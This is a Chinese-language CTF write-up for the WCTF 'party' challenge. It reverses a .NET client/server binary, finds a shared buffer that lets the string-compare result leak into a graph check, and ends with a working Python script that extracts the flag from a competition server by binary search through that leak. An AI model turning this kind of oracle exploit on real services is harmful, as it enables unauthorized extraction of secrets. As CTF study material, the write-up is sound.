悄咪咪的参加了WCTF的线上赛,本弱鸡表示一脸懵逼,当时只看了party和Cyber_Mimic_Defense。反正是没做出来,赛后看了
WCTF-party
总结下party的解法。
顺便还是.net逆向初体验233.
附件就一个exe文件
打开大约是这样的,一个是server功能,一个是client功能。很显然我们要获取server上存储的flag。
客户端能进行的操作
评价后会有
我然后抓了下包看了下通信的协议,大致是这样的
2 \暂时用途不明
x \ 总共的guest数,example: 4
v \Erdos security ,example:10 (最大是10
n \ n组配对的好友 example: 2
a b \两个int,表示好友在储存的下标 (0 1)(2 3)
好像没有什么值得利用的地方,只能开始看看源码了
查阅资料得知,这是.net程序,于是用dnSpy打开进行逆向,还好没加壳。
首先看到发信的地方,有个switch,根据数据的第一个协议决定运行哪个模块
一个flag接受+检查机制
查了下Compare方法
所有的查询存在了comm的0-3 bytes里。
如果全是0则表示存在该子串
显然我们无法直接从这个检查机制处获得flag,那么我们看看还有没有其他的方向。
看到了前面switch=2时候的工作。
int num4 = (num * num - num) / 2 / 8;//总共可能有多少种配对方式,并对comm从2开始的下标进行初始化为0.
for (int i = 0; i < num4; i++)
{
this.comm[2 + i] = 0;
}
这段比较有趣,每个人可以和剩下的n-1一个人配对,除以2是为了避免重复。这构成了一个无向的图。
但是他除以了8对结果进行了截断。
显然两者都用到了comm这个数组,也就说前面的对字符串比较的操作可能会影响到后面的这个判决。
如果之前的操作导致了数组的最后一位被置位1,则软件可能会认为这个图里多了一条边,这就可能导致底下的判决错误。
上文提到在进行字符串比对的时候,compare返回了一个int32的整数,并且以小端序存在了comm 0-3 字节。返回是负数的时候则以补码形式存储。
根据补码规则
图的判断逻辑:
判断flag逻辑:
from socket import socket
import time
host = '180.163.241.15'
port = 10658
def testflag(flag):
sock = socket()
sock.connect((host, port))
# overwrite comm
sock.send(b'3\n')
sock.send(b'1\n') # one line
sock.send(flag.encode() + b'\n')
res = b''
while not (b'Correct' in res or b'Incorrect' in res):
time.sleep(0.1)
res += sock.recv(1024)
print(res)
if b'Correct' in res:
return 0
# leak sign bit
sock.send(b'2\n')
sock.send(b'6\n') # 6 nodes
sock.send(b'6\n') # threshold = 6
sock.send(b'0\n') # no edges
res = b''
while not b'party' in res:
time.sleep(0.1)
res += sock.recv(1024)
print(res)
sock.close()
if b'does not approve' in res:
return 1 # flag is bigger
elif b'approves' in res:
return -1 # flag is smaller
else:
raise Exception('something wrong')
flag = ''
newchar = ''
for l in range(100):
flag += newchar
print(l)
print(flag)
minv = 0x20
maxv = 0x7e
while minv != maxv:
newchar = chr(minv + (maxv - minv) // 2)
newflag = flag + newchar
print(minv, maxv)
res = testflag(newflag)
if res > 0:
# character is too small, or the string is too short
minv = minv + (maxv - minv + 1) // 2
elif res < 0:
# character is too big
maxv = minv + (maxv - minv) // 2
else:
print('Flag found!', newflag)
exit()
# check off-by-one because of the different string length
if testflag(flag + newchar) < 0:
newchar = chr(ord(newchar) - 1)